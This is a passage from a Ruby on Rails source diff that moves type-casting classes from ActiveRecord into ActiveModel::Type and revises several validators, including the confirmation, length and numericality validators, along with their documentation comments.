klass = nil, **options, &block) + registry.register(type_name, klass, **options, &block) + end + + def lookup(*args, **kwargs) # :nodoc: + registry.lookup(*args, **kwargs) + end + end + + register(:big_integer, Type::BigInteger) + register(:binary, Type::Binary) + register(:boolean, Type::Boolean) + register(:date, Type::Date) + register(:datetime, Type::DateTime) + register(:decimal, Type::Decimal) + register(:float, Type::Float) + register(:immutable_string, Type::ImmutableString) + register(:integer, Type::Integer) + register(:string, Type::String) + register(:text, Type::Text) + register(:time, Type::Time) + end +end diff --git a/activerecord/lib/active_record/type/big_integer.rb b/activemodel/lib/active_model/type/big_integer.rb index 0c72d8914f..4168cbfce7 100644 --- a/activerecord/lib/active_record/type/big_integer.rb +++ b/activemodel/lib/active_model/type/big_integer.rb @@ -1,6 +1,6 @@ -require 'active_record/type/integer' +require 'active_model/type/integer' -module ActiveRecord +module ActiveModel module Type class BigInteger < Integer # :nodoc: private diff --git a/activerecord/lib/active_record/type/binary.rb b/activemodel/lib/active_model/type/binary.rb index 0baf8c63ad..a0cc45b4c3 100644 --- a/activerecord/lib/active_record/type/binary.rb +++ b/activemodel/lib/active_model/type/binary.rb @@ -1,4 +1,4 @@ -module ActiveRecord +module ActiveModel module Type class Binary < Value # :nodoc: def type diff --git a/activerecord/lib/active_record/type/boolean.rb b/activemodel/lib/active_model/type/boolean.rb index f6a75512fd..c1bce98c87 100644 --- a/activerecord/lib/active_record/type/boolean.rb +++ b/activemodel/lib/active_model/type/boolean.rb @@ -1,6 +1,8 @@ -module ActiveRecord +module ActiveModel module Type class Boolean < Value # :nodoc: + FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE', 'off', 'OFF'].to_set + def type :boolean end @@ -11,7 +13,7 @@ module ActiveRecord if value == '' nil else - !ConnectionAdapters::Column::FALSE_VALUES.include?(value) + !FALSE_VALUES.include?(value) end end end diff --git a/activemodel/lib/active_model/type/date.rb b/activemodel/lib/active_model/type/date.rb new file mode 100644 index 0000000000..f74243a22c --- /dev/null +++ b/activemodel/lib/active_model/type/date.rb @@ -0,0 +1,50 @@ +module ActiveModel + module Type + class Date < Value # :nodoc: + include Helpers::AcceptsMultiparameterTime.new + + def type + :date + end + + def type_cast_for_schema(value) + "'#{value.to_s(:db)}'" + end + + private + + def cast_value(value) + if value.is_a?(::String) + return if value.empty? + fast_string_to_date(value) || fallback_string_to_date(value) + elsif value.respond_to?(:to_date) + value.to_date + else + value + end + end + + ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/ + def fast_string_to_date(string) + if string =~ ISO_DATE + new_date $1.to_i, $2.to_i, $3.to_i + end + end + + def fallback_string_to_date(string) + new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday)) + end + + def new_date(year, mon, mday) + if year && year != 0 + ::Date.new(year, mon, mday) rescue nil + end + end + + def value_from_multiparameter_assignment(*) + time = super + time && time.to_date + end + end + end +end diff --git a/activemodel/lib/active_model/type/date_time.rb b/activemodel/lib/active_model/type/date_time.rb new file mode 100644 index 0000000000..2f2df4320f --- /dev/null +++ b/activemodel/lib/active_model/type/date_time.rb @@ -0,0 +1,44 @@ +module ActiveModel + module Type + class DateTime < Value # :nodoc: + include Helpers::TimeValue + include Helpers::AcceptsMultiparameterTime.new( + defaults: { 4 => 0, 5 => 0 } + ) + + def type + :datetime + end + + private + + def cast_value(value) + return apply_seconds_precision(value) unless value.is_a?(::String) + return if value.empty? + + fast_string_to_time(value) || fallback_string_to_time(value) + end + + # '0.123456' -> 123456 + # '1.123456' -> 123456 + def microseconds(time) + time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0 + end + + def fallback_string_to_time(string) + time_hash = ::Date._parse(string) + time_hash[:sec_fraction] = microseconds(time_hash) + + new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset)) + end + + def value_from_multiparameter_assignment(values_hash) + missing_parameter = (1..3).detect { |key| !values_hash.key?(key) } + if missing_parameter + raise ArgumentError, missing_parameter + end + super + end + end + end +end diff --git a/activerecord/lib/active_record/type/decimal.rb b/activemodel/lib/active_model/type/decimal.rb index 867b5f75c7..11ea327026 100644 --- a/activerecord/lib/active_record/type/decimal.rb +++ b/activemodel/lib/active_model/type/decimal.rb @@ -1,4 +1,6 @@ -module ActiveRecord +require "bigdecimal/util" + +module ActiveModel module Type class Decimal < Value # :nodoc: include Helpers::Numeric @@ -8,13 +10,13 @@ module ActiveRecord end def type_cast_for_schema(value) - value.to_s + value.to_s.inspect end private def cast_value(value) - case value + casted_value = case value when ::Float convert_float_to_big_decimal(value) when ::Numeric, ::String @@ -26,11 +28,13 @@ module ActiveRecord cast_value(value.to_s) end end + + apply_scale(casted_value) end def convert_float_to_big_decimal(value) if precision - BigDecimal(value, float_precision) + BigDecimal(apply_scale(value), float_precision) else value.to_d end @@ -43,6 +47,14 @@ module ActiveRecord precision.to_i end end + + def apply_scale(value) + if scale + value.round(scale) + else + value + end + end end end end diff --git a/activerecord/lib/active_record/type/decimal_without_scale.rb b/activemodel/lib/active_model/type/decimal_without_scale.rb index ff5559e300..129baa0c10 100644 --- a/activerecord/lib/active_record/type/decimal_without_scale.rb +++ b/activemodel/lib/active_model/type/decimal_without_scale.rb @@ -1,6 +1,6 @@ -require 'active_record/type/big_integer' +require 'active_model/type/big_integer' -module ActiveRecord +module ActiveModel module Type class DecimalWithoutScale < BigInteger # :nodoc: def type diff --git a/activerecord/lib/active_record/type/float.rb b/activemodel/lib/active_model/type/float.rb index d88482b85d..0f925bc7e1 100644 --- a/activerecord/lib/active_record/type/float.rb +++ b/activemodel/lib/active_model/type/float.rb @@ -1,4 +1,4 @@ -module ActiveRecord +module ActiveModel module Type class Float < Value # :nodoc: include Helpers::Numeric diff --git a/activemodel/lib/active_model/type/helpers.rb b/activemodel/lib/active_model/type/helpers.rb new file mode 100644 index 0000000000..a805a359ab --- /dev/null +++ b/activemodel/lib/active_model/type/helpers.rb @@ -0,0 +1,4 @@ +require 'active_model/type/helpers/accepts_multiparameter_time' +require 'active_model/type/helpers/numeric' +require 'active_model/type/helpers/mutable' +require 'active_model/type/helpers/time_value' diff --git a/activerecord/lib/active_record/type/helpers/accepts_multiparameter_time.rb b/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time.rb index be571fc1c7..facea12704 100644 --- a/activerecord/lib/active_record/type/helpers/accepts_multiparameter_time.rb +++ b/activemodel/lib/active_model/type/helpers/accepts_multiparameter_time.rb @@ -1,4 +1,4 @@ -module ActiveRecord +module ActiveModel module Type module Helpers class AcceptsMultiparameterTime < Module # :nodoc: @@ -11,16 +11,21 @@ module ActiveRecord end end + define_method(:assert_valid_value) do |value| + if value.is_a?(Hash) + value_from_multiparameter_assignment(value) + else + super(value) + end + end + define_method(:value_from_multiparameter_assignment) do |values_hash| defaults.each do |k, v| values_hash[k] ||= v end return unless values_hash[1] && values_hash[2] && values_hash[3] values = values_hash.sort.map(&:last) - ::Time.send( - ActiveRecord::Base.default_timezone, - *values - ) + ::Time.send(default_timezone, *values) end private :value_from_multiparameter_assignment end diff --git a/activerecord/lib/active_record/type/helpers/mutable.rb b/activemodel/lib/active_model/type/helpers/mutable.rb index 88a9099277..4dddbe4e5e 100644 --- a/activerecord/lib/active_record/type/helpers/mutable.rb +++ b/activemodel/lib/active_model/type/helpers/mutable.rb @@ -1,4 +1,4 @@ -module ActiveRecord +module ActiveModel module Type module Helpers module Mutable # :nodoc: diff --git a/activerecord/lib/active_record/type/helpers/numeric.rb b/activemodel/lib/active_model/type/helpers/numeric.rb index a755a02a59..c883010506 100644 --- a/activerecord/lib/active_record/type/helpers/numeric.rb +++ b/activemodel/lib/active_model/type/helpers/numeric.rb @@ -1,4 +1,4 @@ -module ActiveRecord +module ActiveModel module Type module Helpers module Numeric # :nodoc: diff --git a/activerecord/lib/active_record/type/helpers/time_value.rb b/activemodel/lib/active_model/type/helpers/time_value.rb index 7eb41557cb..63993c0d93 100644 --- a/activerecord/lib/active_record/type/helpers/time_value.rb +++ b/activemodel/lib/active_model/type/helpers/time_value.rb @@ -1,16 +1,14 @@ -module ActiveRecord +require "active_support/core_ext/time/zones" + +module ActiveModel module Type module Helpers module TimeValue # :nodoc: def serialize(value) - if precision && value.respond_to?(:usec) - number_of_insignificant_digits = 6 - precision - round_power = 10 ** number_of_insignificant_digits - value = value.change(usec: value.usec / round_power * round_power) - end + value = apply_seconds_precision(value) if value.acts_like?(:time) - zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal + zone_conversion_method = is_utc? ? :getutc : :getlocal if value.respond_to?(zone_conversion_method) value = value.send(zone_conversion_method) @@ -20,6 +18,25 @@ module ActiveRecord value end + def is_utc? + ::Time.zone_default.nil? || ::Time.zone_default =~ 'UTC' + end + + def default_timezone + if is_utc? + :utc + else + :local + end + end + + def apply_seconds_precision(value) + return value unless precision && value.respond_to?(:usec) + number_of_insignificant_digits = 6 - precision + round_power = 10 ** number_of_insignificant_digits + value.change(usec: value.usec / round_power * round_power) + end + def type_cast_for_schema(value) "'#{value.to_s(:db)}'" end @@ -39,15 +56,17 @@ module ActiveRecord return unless time time -= offset - Base.default_timezone == :utc ? time : time.getlocal + is_utc? ? time : time.getlocal else - ::Time.public_send(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil + ::Time.public_send(default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil end end + ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/ + # Doesn't handle time zones. def fast_string_to_time(string) - if string =~ ConnectionAdapters::Column::Format::ISO_DATETIME + if string =~ ISO_DATETIME microsec = ($7.to_r * 1_000_000).to_i new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec end diff --git a/activemodel/lib/active_model/type/immutable_string.rb b/activemodel/lib/active_model/type/immutable_string.rb new file mode 100644 index 0000000000..20b8ca0cc4 --- /dev/null +++ b/activemodel/lib/active_model/type/immutable_string.rb @@ -0,0 +1,29 @@ +module ActiveModel + module Type + class ImmutableString < Value # :nodoc: + def type + :string + end + + def serialize(value) + case value + when ::Numeric, ActiveSupport::Duration then value.to_s + when true then "t" + when false then "f" + else super + end + end + + private + + def cast_value(value) + result = case value + when true then "t" + when false then "f" + else value.to_s + end + result.freeze + end + end + end +end diff --git a/activerecord/lib/active_record/type/integer.rb b/activemodel/lib/active_model/type/integer.rb index 2a1b04ac7f..eea2280b22 100644 --- a/activerecord/lib/active_record/type/integer.rb +++ b/activemodel/lib/active_model/type/integer.rb @@ -1,4 +1,4 @@ -module ActiveRecord +module ActiveModel module Type class Integer < Value # :nodoc: include Helpers::Numeric @@ -46,18 +46,21 @@ module ActiveRecord def ensure_in_range(value) unless range.cover?(value) - raise RangeError, "#{value} is out of range for #{self.class} with limit #{limit || DEFAULT_LIMIT}" + raise ActiveModel::RangeError, "#{value} is out of range for #{self.class} with limit #{_limit}" end end def max_value - limit = self.limit || DEFAULT_LIMIT - 1 << (limit * 8 - 1) # 8 bits per byte with one bit for sign + 1 << (_limit * 8 - 1) # 8 bits per byte with one bit for sign end def min_value -max_value end + + def _limit + self.limit || DEFAULT_LIMIT + end end end end diff --git a/activemodel/lib/active_model/type/registry.rb b/activemodel/lib/active_model/type/registry.rb new file mode 100644 index 0000000000..adc88eb624 --- /dev/null +++ b/activemodel/lib/active_model/type/registry.rb @@ -0,0 +1,64 @@ +module ActiveModel + # :stopdoc: + module Type + class Registry + def initialize + @registrations = [] + end + + def register(type_name, klass = nil, **options, &block) + block ||= proc { |_, *args| klass.new(*args) } + registrations << registration_klass.new(type_name, block, **options) + end + + def lookup(symbol, *args) + registration = find_registration(symbol, *args) + + if registration + registration.call(self, symbol, *args) + else + raise ArgumentError, "Unknown type #{symbol.inspect}" + end + end + + protected + + attr_reader :registrations + + private + + def registration_klass + Registration + end + + def find_registration(symbol, *args) + registrations.find { |r| r.matches?(symbol, *args) } + end + end + + class Registration + # Options must be taken because of https://bugs.ruby-lang.org/issues/10856 + def initialize(name, block, **) + @name = name + @block = block + end + + def call(_registry, *args, **kwargs) + if kwargs.any? # https://bugs.ruby-lang.org/issues/10856 + block.call(*args, **kwargs) + else + block.call(*args) + end + end + + def matches?(type_name, *args, **kwargs) + type_name == name + end + + protected + + attr_reader :name, :block + end + end + # :startdoc: +end diff --git a/activemodel/lib/active_model/type/string.rb b/activemodel/lib/active_model/type/string.rb new file mode 100644 index 0000000000..8a91410998 --- /dev/null +++ b/activemodel/lib/active_model/type/string.rb @@ -0,0 +1,19 @@ +require "active_model/type/immutable_string" + +module ActiveModel + module Type + class String < ImmutableString # :nodoc: + def changed_in_place?(raw_old_value, new_value) + if new_value.is_a?(::String) + raw_old_value != new_value + end + end + + private + + def cast_value(value) + ::String.new(super) + end + end + end +end diff --git a/activerecord/lib/active_record/type/text.rb b/activemodel/lib/active_model/type/text.rb index 26f980f060..1ad04daba4 100644 --- a/activerecord/lib/active_record/type/text.rb +++ b/activemodel/lib/active_model/type/text.rb @@ -1,6 +1,6 @@ -require 'active_record/type/string' +require 'active_model/type/string' -module ActiveRecord +module ActiveModel module Type class Text < String # :nodoc: def type diff --git a/activemodel/lib/active_model/type/time.rb b/activemodel/lib/active_model/type/time.rb new file mode 100644 index 0000000000..34e09f0aba --- /dev/null +++ b/activemodel/lib/active_model/type/time.rb @@ -0,0 +1,46 @@ +module ActiveModel + module Type + class Time < Value # :nodoc: + include Helpers::TimeValue + include Helpers::AcceptsMultiparameterTime.new( + defaults: { 1 => 1970, 2 => 1, 3 => 1, 4 => 0, 5 => 0 } + ) + + def type + :time + end + + def user_input_in_time_zone(value) + return unless value.present? + + case value + when ::String + value = "2000-01-01 #{value}" + when ::Time + value = value.change(year: 2000, day: 1, month: 1) + end + + super(value) + end + + private + + def cast_value(value) + return value unless value.is_a?(::String) + return if value.empty? + + if value =~ /^2000-01-01/ + dummy_time_value = value + else + dummy_time_value = "2000-01-01 #{value}" + end + + fast_string_to_time(dummy_time_value) || begin + time_hash = ::Date._parse(dummy_time_value) + return if time_hash[:hour].nil? + new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset)) + end + end + end + end +end diff --git a/activerecord/lib/active_record/type/unsigned_integer.rb b/activemodel/lib/active_model/type/unsigned_integer.rb index ed3e527483..3f49f9f5f7 100644 --- a/activerecord/lib/active_record/type/unsigned_integer.rb +++ b/activemodel/lib/active_model/type/unsigned_integer.rb @@ -1,4 +1,4 @@ -module ActiveRecord +module ActiveModel module Type class UnsignedInteger < Integer # :nodoc: private diff --git a/activerecord/lib/active_record/type/value.rb b/activemodel/lib/active_model/type/value.rb index 6b9d147ecc..0d2d6873a8 100644 --- a/activerecord/lib/active_record/type/value.rb +++ b/activemodel/lib/active_model/type/value.rb @@ -1,4 +1,4 @@ -module ActiveRecord +module ActiveModel module Type class Value attr_reader :precision, :scale, :limit @@ -84,12 +84,24 @@ module ActiveRecord false end + def map(value) # :nodoc: + yield value + end + def ==(other) self.class == other.class && precision == other.precision && scale == other.scale && limit == other.limit end + alias eql? == + + def hash + [self.class, precision, scale, limit].hash + end + + def assert_valid_value(*) + end private diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb index 176d4c0607..8159b9b1d3 100644 --- a/activemodel/lib/active_model/validations.rb +++ b/activemodel/lib/active_model/validations.rb @@ -47,9 +47,10 @@ module ActiveModel include HelperMethods attr_accessor :validation_context + private :validation_context= define_callbacks :validate, scope: :name - class_attribute :_validators + class_attribute :_validators, instance_writer: false self._validators = Hash.new { |h,k| h[k] = [] } end @@ -87,7 +88,7 @@ module ActiveModel validates_with BlockValidator, _merge_attributes(attr_names), &block end - VALID_OPTIONS_FOR_VALIDATE = [:on, :if, :unless, :prepend].freeze + VALID_OPTIONS_FOR_VALIDATE = [:on, :if, :unless, :prepend].freeze # :nodoc: # Adds a validation method or block to the class. This is useful when # overriding the +validate+ instance method becomes too unwieldy and @@ -129,6 +130,9 @@ module ActiveModel # end # end # + # Note that the return value of validation methods is not relevant. + # It's not possible to halt the validate callback chain. + # # Options: # * <tt>:on</tt> - Specifies the contexts where this validation is active. # Runs in all validation contexts by default (nil). You can pass a symbol @@ -159,7 +163,7 @@ module ActiveModel options = options.dup options[:if] = Array(options[:if]) options[:if].unshift ->(o) { - Array(options[:on]).include?(o.validation_context) + !(Array(options[:on]) & Array(o.validation_context)).empty? } end diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb index ee160fb483..a04e5f347e 100644 --- a/activemodel/lib/active_model/validations/acceptance.rb +++ b/activemodel/lib/active_model/validations/acceptance.rb @@ -14,16 +14,59 @@ module ActiveModel end private + def setup!(klass) - attr_readers = attributes.reject { |name| klass.attribute_method?(name) } - attr_writers = attributes.reject { |name| klass.attribute_method?("#{name}=") } - klass.send(:attr_reader, *attr_readers) - klass.send(:attr_writer, *attr_writers) + klass.include(LazilyDefineAttributes.new(AttributeDefinition.new(attributes))) end def acceptable_option?(value) Array(options[:accept]).include?(value) end + + class LazilyDefineAttributes < Module + def initialize(attribute_definition) + define_method(:respond_to_missing?) do |method_name, include_private=false| + super(method_name, include_private) || attribute_definition.matches?(method_name) + end + + define_method(:method_missing) do |method_name, *args, &block| + if attribute_definition.matches?(method_name) + attribute_definition.define_on(self.class) + send(method_name, *args, &block) + else + super(method_name, *args, &block) + end + end + end + end + + class AttributeDefinition + def initialize(attributes) + @attributes = attributes.map(&:to_s) + end + + def matches?(method_name) + attr_name = convert_to_reader_name(method_name) + attributes.include?(attr_name) + end + + def define_on(klass) + attr_readers = attributes.reject { |name| klass.attribute_method?(name) } + attr_writers = attributes.reject { |name| klass.attribute_method?("#{name}=") } + klass.send(:attr_reader, *attr_readers) + klass.send(:attr_writer, *attr_writers) + end + + protected + + attr_reader :attributes + + private + + def convert_to_reader_name(method_name) + method_name.to_s.chomp('=') + end + end end module HelperMethods @@ -42,9 +85,10 @@ module ActiveModel # Configuration options: # * <tt>:message</tt> - A custom error message (default is: "must be # accepted"). - # * <tt>:accept</tt> - Specifies value that is considered accepted. - # The default value is a string "1", which makes it easy to relate to - # an HTML checkbox. This should be set to +true+ if you are validating + # * <tt>:accept</tt> - Specifies a value that is considered accepted. + # Also accepts an array of possible values. The default value is + # an array ["1", true], which makes it easy to relate to an HTML + # checkbox. This should be set to, or include, +true+ if you are validating # a database column, since the attribute is typecast from "1" to +true+ # before validation. # diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb index 4b58ef66e3..a201f72ed0 100644 --- a/activemodel/lib/active_model/validations/callbacks.rb +++ b/activemodel/lib/active_model/validations/callbacks.rb @@ -23,13 +23,13 @@ module ActiveModel included do include ActiveSupport::Callbacks define_callbacks :validation, + terminator: deprecated_false_terminator, skip_after_callbacks_if_terminated: true, scope: [:kind, :name] end module ClassMethods - # Defines a callback that will get called right before validation - # happens. + # Defines a callback that will get called right before validation. # # class Person # include ActiveModel::Validations @@ -64,8 +64,7 @@ module ActiveModel set_callback(:validation, :before, *args, &block) end - # Defines a callback that will get called right after validation - # happens. + # Defines a callback that will get called right after validation. # # class Person # include ActiveModel::Validations diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb index bad9e4f9a9..d49af603bb 100644 --- a/activemodel/lib/active_model/validations/clusivity.rb +++ b/activemodel/lib/active_model/validations/clusivity.rb @@ -30,14 +30,15 @@ module ActiveModel @delimiter ||= options[:in] || options[:within] end - # In Ruby 1.9 <tt>Range#include?</tt> on non-number-or-time-ish ranges checks all + # In Ruby 2.2 <tt>Range#include?</tt> on non-number-or-time-ish ranges checks all # possible values in the range for equality, which is slower but more accurate. # <tt>Range#cover?</tt> uses the previous logic of comparing a value with the range - # endpoints, which is fast but is only accurate on Numeric, Time, or DateTime ranges. + # endpoints, which is fast but is only accurate on Numeric, Time, Date, + # or DateTime ranges. def inclusion_method(enumerable) if enumerable.is_a? Range case enumerable.first - when Numeric, Time, DateTime + when Numeric, Time, DateTime, Date :cover? else :include? diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb index 1b11c28087..8f8ade90bb 100644 --- a/activemodel/lib/active_model/validations/confirmation.rb +++ b/activemodel/lib/active_model/validations/confirmation.rb @@ -3,14 +3,16 @@ module ActiveModel module Validations class ConfirmationValidator < EachValidator # :nodoc: def initialize(options) - super + super({ case_sensitive: true }.merge!(options)) setup!(options[:class]) end def validate_each(record, attribute, value) - if (confirmed = record.send("#{attribute}_confirmation")) && (value != confirmed) - human_attribute_name = record.class.human_attribute_name(attribute) - record.errors.add(:"#{attribute}_confirmation", :confirmation, options.merge(attribute: human_attribute_name)) + if (confirmed = record.send("#{attribute}_confirmation")) + unless confirmation_value_equal?(record, attribute, value, confirmed) + human_attribute_name = record.class.human_attribute_name(attribute) + record.errors.add(:"#{attribute}_confirmation", :confirmation, options.except(:case_sensitive).merge!(attribute: human_attribute_name)) + end end end @@ -24,6 +26,14 @@ module ActiveModel :"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation=") end.compact) end + + def confirmation_value_equal?(record, attribute, value, confirmed) + if !options[:case_sensitive] && value.is_a?(String) + value.casecmp(confirmed) == 0 + else + value == confirmed + end + end end module HelperMethods @@ -55,6 +65,8 @@ module ActiveModel # Configuration options: # * <tt>:message</tt> - A custom error message (default is: "doesn't match # <tt>%{translated_attribute_name}</tt>"). + # * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by + # non-text columns (+true+ by default). # # There is also a list of default options supported by every validator: # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+. diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb index f342d27275..6f4276cc2a 100644 --- a/activemodel/lib/active_model/validations/exclusion.rb +++ b/activemodel/lib/active_model/validations/exclusion.rb @@ -29,7 +29,9 @@ module ActiveModel # Configuration options: # * <tt>:in</tt> - An enumerable object of items that the value shouldn't # be part of. This can be supplied as a proc, lambda or symbol which returns an - # enumerable. If the enumerable is a range the test is performed with + # enumerable. If the enumerable is a numerical, time or datetime range the test + # is performed with <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>. When + # using a proc or lambda the instance under validation is passed as an argument. # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt> # <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>. # * <tt>:message</tt> - Specifies a custom error message (default is: "is diff --git a/activemodel/lib/active_model/validations/helper_methods.rb b/activemodel/lib/active_model/validations/helper_methods.rb new file mode 100644 index 0000000000..2176115334 --- /dev/null +++ b/activemodel/lib/active_model/validations/helper_methods.rb @@ -0,0 +1,13 @@ +module ActiveModel + module Validations + module HelperMethods # :nodoc: + private + def _merge_attributes(attr_names) + options = attr_names.extract_options!.symbolize_keys + attr_names.flatten! + options[:attributes] = attr_names + options + end + end + end +end diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb index c84025f083..03e0ef56d8 100644 --- a/activemodel/lib/active_model/validations/inclusion.rb +++ b/activemodel/lib/active_model/validations/inclusion.rb @@ -28,9 +28,9 @@ module ActiveModel # Configuration options: # * <tt>:in</tt> - An enumerable object of available items. This can be # supplied as a proc, lambda or symbol which returns an enumerable. If the - # enumerable is a numerical range the test is performed with <tt>Range#cover?</tt>, - # otherwise with <tt>include?</tt>. When using a proc or lambda the instance - # under validation is passed as an argument. + # enumerable is a numerical, time or datetime range the test is performed + # with <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>. When using + # a proc or lambda the instance under validation is passed as an argument. # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt> # * <tt>:message</tt> - Specifies a custom error message (default is: "is # not included in the list"). diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb index 23201b264a..79297ac119 100644 --- a/activemodel/lib/active_model/validations/length.rb +++ b/activemodel/lib/active_model/validations/length.rb @@ -1,6 +1,6 @@ -module ActiveModel +require "active_support/core_ext/string/strip" - # == Active \Model Length Validator +module ActiveModel module Validations class LengthValidator < EachValidator # :nodoc: MESSAGES = { is: :wrong_length, minimum: :too_short, maximum: :too_long }.freeze @@ -18,6 +18,27 @@ module ActiveModel options[:minimum] = 1 end + if options[:tokenizer] + ActiveSupport::Deprecation.warn(<<-EOS.strip_heredoc) + The `:tokenizer` option is deprecated, and will be removed in Rails 5.1. + You can achieve the same functionality by defining an instance method + with the value that you want to validate the length of. For example, + + validates_length_of :essay, minimum: 100, + tokenizer: ->(str) { str.scan(/\w+/) } + + should be written as + + validates_length_of :words_in_essay, minimum: 100 + + private + + def words_in_essay + essay.scan(/\w+/) + end + EOS + end + super end @@ -77,8 +98,9 @@ module ActiveModel module HelperMethods - # Validates that the specified attribute matches the length restrictions - # supplied. Only one option can be used at a time: + # Validates that the specified attributes match the length restrictions + # supplied. Only one constraint option can be used at a time apart from + # +:minimum+ and +:maximum+ that can be combined together: # # class Person < ActiveRecord::Base # validates_length_of :first_name, maximum: 30 @@ -88,36 +110,39 @@ module ActiveModel # validates_length_of :user_name, within: 6..20, too_long: 'pick a shorter name', too_short: 'pick a longer name' # validates_length_of :zip_code, minimum: 5, too_short: 'please enter at least 5 characters' # validates_length_of :smurf_leader, is: 4, message: "papa is spelled with 4 characters... don't play me." - # validates_length_of :essay, minimum: 100, too_short: 'Your essay must be at least 100 words.', - # tokenizer: ->(str) { str.scan(/\w+/) } + # validates_length_of :words_in_essay, minimum: 100, too_short: 'Your essay must be at least 100 words.' + # + # private + # + # def words_in_essay + # essay.scan(/\w+/) + # end # end # - # Configuration options: + # Constraint options: + # # * <tt>:minimum</tt> - The minimum size of the attribute. # * <tt>:maximum</tt> - The maximum size of the attribute. Allows +nil+ by - # default if not used with :minimum. + # default if not used with +:minimum+. # * <tt>:is</tt> - The exact size of the attribute. # * <tt>:within</tt> - A range specifying the minimum and maximum size of # the attribute. # * <tt>:in</tt> - A synonym (or alias) for <tt>:within</tt>. + # + # Other options: + # # * <tt>:allow_nil</tt> - Attribute may be +nil+; skip validation. # * <tt>:allow_blank</tt> - Attribute may be blank; skip validation. # * <tt>:too_long</tt> - The error message if the attribute goes over the # maximum (default is: "is too long (maximum is %{count} characters)"). # * <tt>:too_short</tt> - The error message if the attribute goes under the - # minimum (default is: "is too short (min is %{count} characters)"). + # minimum (default is: "is too short (minimum is %{count} characters)"). # * <tt>:wrong_length</tt> - The error message if using the <tt>:is</tt> # method and the attribute is the wrong size (default is: "is the wrong # length (should be %{count} characters)"). # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>, # <tt>:maximum</tt>, or <tt>:is</tt> violation. An alias of the appropriate # <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message. - # * <tt>:tokenizer</tt> - A method (as a symbol), proc or string to - # specify how to split up the attribute string. (e.g. - # <tt>tokenizer: :word_tokenizer</tt> to call the +word_tokenizer+ method - # or <tt>tokenizer: ->(str) { str.scan(/\w+/) }</tt> to count words as in - # above example). Defaults to <tt>->(value) { value.split(//) }</tt> which - # counts individual characters. # # There is also a list of default options supported by every validator: # +:if+, +:unless+, +:on+ and +:strict+. diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb index 4ba4e3e8f7..ad7012df48 100644 --- a/activemodel/lib/active_model/validations/numericality.rb +++ b/activemodel/lib/active_model/validations/numericality.rb @@ -20,7 +20,7 @@ module ActiveModel def validate_each(record, attr_name, value) before_type_cast = :"#{attr_name}_before_type_cast" - raw_value = record.send(before_type_cast) if record.respond_to?(before_type_cast) + raw_value = record.send(before_type_cast) if record.respond_to?(before_type_cast) && record.send(before_type_cast) != value raw_value ||= value if record_attribute_changed_in_place?(record, attr_name) @@ -29,16 +29,18 @@ module ActiveModel return if options[:allow_nil] && raw_value.nil? - unless value = parse_raw_value_as_a_number(raw_value) + unless is_number?(raw_value) record.errors.add(attr_name, :not_a_number, filtered_options(raw_value)) return end - if allow_only_integer?(record) - unless value = parse_raw_value_as_an_integer(raw_value) - record.errors.add(attr_name, :not_an_integer, filtered_options(raw_value)) - return - end + if allow_only_integer?(record) && !is_integer?(raw_value) + record.errors.add(attr_name, :not_an_integer, filtered_options(raw_value)) + return + end + + unless raw_value.is_a?(Numeric) + value = parse_raw_value_as_a_number(raw_value) end options.slice(*CHECKS.keys).each do |option, option_value| @@ -64,14 +66,18 @@ module ActiveModel protected + def is_number?(raw_value) + !parse_raw_value_as_a_number(raw_value).nil? + rescue ArgumentError, TypeError + false + end + def parse_raw_value_as_a_number(raw_value) Kernel.Float(raw_value) if raw_value !~ /\A0[xX]/ - rescue ArgumentError, TypeError - nil end - def parse_raw_value_as_an_integer(raw_value) - raw_value.to_i if raw_value.to_s =~ /\A[+-]?\d+\z/ + def is_integer?(raw_value) + /\A[+-]?\d+\z/ === raw_value.to_s end def filtered_options(value) diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb index bda436d8d0..1da4df21e7 100644 --- a/activemodel/lib/active_model/validations/validates.rb +++ b/activemodel/lib/active_model/validations/validates.rb @@ -115,7 +115,7 @@ module ActiveModel key = "#{key.to_s.camelize}Validator" begin - validator = key.include?('::') ? key.constantize : const_get(key) + validator = key.include?('::'.freeze) ? key.constantize : const_get(key) rescue NameError raise ArgumentError, "Unknown validator: '#{key}'" end diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb index a2531327bf..6de01b3392 100644 --- 